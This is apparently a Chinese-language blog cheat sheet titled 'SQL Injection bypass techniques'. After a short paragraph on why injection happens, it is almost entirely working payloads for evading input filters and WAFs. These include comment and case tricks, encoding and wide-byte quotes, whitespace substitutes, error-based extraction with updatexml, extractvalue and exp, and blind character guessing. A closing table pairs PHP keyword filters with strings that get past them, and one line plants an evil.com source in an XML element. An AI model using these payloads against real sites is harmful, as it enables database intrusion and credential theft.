SQL Injection繞過技巧

0x00 sql注入的原因

sql注入的原因,表面上說是因爲 拼接字符串,構成sql語句,沒有使用 sql語句預編譯,綁定變量。

但是更深層次的原因是,將用戶輸入的字符串,當成了 “sql語句” 來執行。

比如上面的 String sql = "select id,no from user where id=" + id;
我們希望用戶輸入的 id 的值,僅僅作爲一個字符串字面值,傳入數據庫執行,但是當輸入了: 2 or 1=1 時,其中的 or 1=1 並沒有作爲 where id= 的字面值,而是作爲了 sql語句 來執行的。所以其本質是將用戶的輸入的數據,作爲了命令來執行。

0x01 sql注入繞過

1.1 註釋符繞過

常用註釋符:

//, -- , /**/, #, --+, -- -, ;,%00,--a
UNION /**/ Select /**/user,pwd,from user
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user

1.2 大小寫繞過

?id=1+UnIoN/**/SeLeCT

1.3 內聯註釋繞過

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -

通常情況下,上面的代碼可以繞過過濾器,請注意,我們用的是 Like而不是 =

1.4 雙關鍵字繞過

?id=1+UNIunionON+SeLselectECT+1,2,3

1.5 編碼繞過

如URLEncode編碼,ASCII,HEX,unicode編碼繞過

or 1=1%6f%72%20%31%3d%31,而Test也可以爲CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

十六進制編碼

SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

雙重編碼繞過

?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+

一些unicode編碼舉例:  
單引號:'
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
空白:
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
左括號(:
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
右括號):
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9

1.6 空格繞過

兩個空格代替一個空格,用Tab代替空格

%20 %09 %0a %0b %0c %0d %a0 /**/

括號繞過空格
在MySQL中,括號是用來包圍子查詢的。因此,任何可以計算出結果的語句,都可以用括號包圍起來
select(user())from dual where 1=1 and 2=2;

1.7 萬能密鑰繞過

用經典的or 1=1判斷繞過,如or ‘swords’ =’swords

1.8 +,-,.號拆解字符串繞過

?id=1' or '11+11'='11+11'
"-""."

1.9 like繞過

?id=1' or 1 like 1 
繞過對“=”,“>”等的過濾

2.0 in繞過

or '1' IN ('swords')

2.1 >,<繞過

or 'password' > 'pass'
or 1<3

2.2 等價函數與命令繞過

1.函數或變量

hex()bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

舉例:substring()substr()無法使用時:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 

或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

2.符號

andor有可能不能使用,可以試下&&和||

=不能使用的情況,可以考慮嘗試<、>

3.生僻函數

MySQL/PostgreSQL支持XML函數:Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);          

?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql

?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))

and extractvalue(1, concat(0x5c, (select user()),0x5c))

2.3 反引號`繞過

select `version()`,可以用來過空格和正則,特殊情況下還可以將其做註釋符用

2.4 換行符繞過

%0a、%0d

2.5 截斷繞過

%00,%0A,?,/0,////////////////........////////,%80-%99

目錄字符串,在window下256字節、linux下4096字節時會達到最大值,最大值長度之後的字符將被丟棄。
././././././././././././././././abc
////////////////////////abc
..1/abc/../1/abc/../1/abc

2.6 寬字節繞過

過濾單引號時,可以試試寬字節

%bf%27 %df%27 %aa%27

2.7 \N繞過

\N其實相當於NULL字符

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0

2.8 特殊的繞過函數

1. 通過greatest函數繞過不能使用大小於符號的情況

greatest(a,b),返回a和b中較大的那個數。
當我們要猜解user()第一個字符的ascii碼是否小於等於150時,可使用:
mysql> select greatest(ascii(mid(user(),1,1)),150)=150;
 +------------------------------------------+
| greatest(ascii(mid(user(),1,1)),150)=150 |
 +------------------------------------------+
|                                        1 |
 +------------------------------------------+
如果小於150,則上述返回值爲True2. 通過substr函數繞過不能使用逗號的情況

mid(user() from 1 for 1)
或
substr(user() from 1 for 1)

mysql> select ascii(substr(user() from 1 for 1)) < 150;
 +------------------------------------------+
| ascii(substr(user() from 1 for 1)) < 150 |
 +------------------------------------------+
|                                        1 |
 +------------------------------------------+

3.使用數學運算函數在子查詢中報錯

exp(x)函數的作用: 取常數e的x次方,其中,e是自然對數的底。

~x 是一個一元運算符,將x按位取補

select exp(~(select*from(select user())a))
mysql報錯:
mysql> select exp(~(select*from(select user())a));
ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(~((select ‘root@localhost’ from dual)))’

這條查詢會出錯,是因爲exp(x)的參數x過大,超過了數值範圍,分解到子查詢,就是:

(select*from(select user())a) 得到字符串 root@localhost

表達式’root@localhost’被轉換爲0,按位取補之後得到一個非常的大數,它是MySQL中最大的無符號整數

附:PHP中一些常見的過濾方法及繞過方式

過濾關鍵字   and or
php代碼   preg_match('/(and|or)/i',$id)
會過濾的攻擊代碼    1 or 1=1 1 and 1=1
繞過方式    1 || 1=1 1 && 1=1

過濾關鍵字   and or union
php代碼   preg_match('/(and|or|union)/i',$id)
會過濾的攻擊代碼    union select user,password from users
繞過方式    1 && (select user from users where userid=1)='admin'

過濾關鍵字   and or union where
php代碼   preg_match('/(and|or|union|where)/i',$id)
會過濾的攻擊代碼    1 && (select user from users where user_id = 1) = 'admin'
繞過方式    1 && (select user from users limit 1) = 'admin'

過濾關鍵字   and or union where
php代碼   preg_match('/(and|or|union|where)/i',$id)
會過濾的攻擊代碼    1 && (select user from users where user_id = 1) = 'admin'
繞過方式    1 && (select user from users limit 1) = 'admin'

過濾關鍵字   and, or, union, where, limit
php代碼   preg_match('/(and|or|union|where|limit)/i', $id)
會過濾的攻擊代碼    1 && (select user from users limit 1) = 'admin'
繞過方式    1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id爲1useradmin

過濾關鍵字   and, or, union, where, limit, group by
php代碼   preg_match('/(and|or|union|where|limit|group by)/i', $id)
會過濾的攻擊代碼    1 && (select user from users group by user_id having user_id = 1) = 'admin'
繞過方式    1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

過濾關鍵字   and, or, union, where, limit, group by, select
php代碼   preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
會過濾的攻擊代碼    1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
繞過方式    1 && substr(user,1,1) = 'a'

過濾關鍵字   and, or, union, where, limit, group by, select, '
php代碼   preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
會過濾的攻擊代碼    1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
繞過方式    1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)

過濾關鍵字   and, or, union, where, limit, group by, select, ', hex
php代碼   preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
會過濾的攻擊代碼    1 && substr(user,1,1) = unhex(61)
繞過方式    1 && substr(user,1,1) = lower(conv(11,10,16)) #十進制的11轉化爲十六進制,並小寫。

過濾關鍵字   and, or, union, where, limit, group by, select, ', hex, substr
php代碼   preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
會過濾的攻擊代碼    1 && substr(user,1,1) = lower(conv(11,10,16))/td>
繞過方式    1 && lpad(user,7,1)

過濾關鍵字   and, or, union, where, limit, group by, select, ', hex, substr, 空格
php代碼   preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
會過濾的攻擊代碼    1 && lpad(user,7,1)/td>
繞過方式    1%0b||%0blpad(user,7,1)

過濾關鍵字   and or union where
php代碼   preg_match('/(and|or|union|where)/i',$id)
會過濾的攻擊代碼    1 || (select user from users where user_id = 1) = 'admin'
繞過方式    1 || (select user from users limit 1) = 'admin'
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章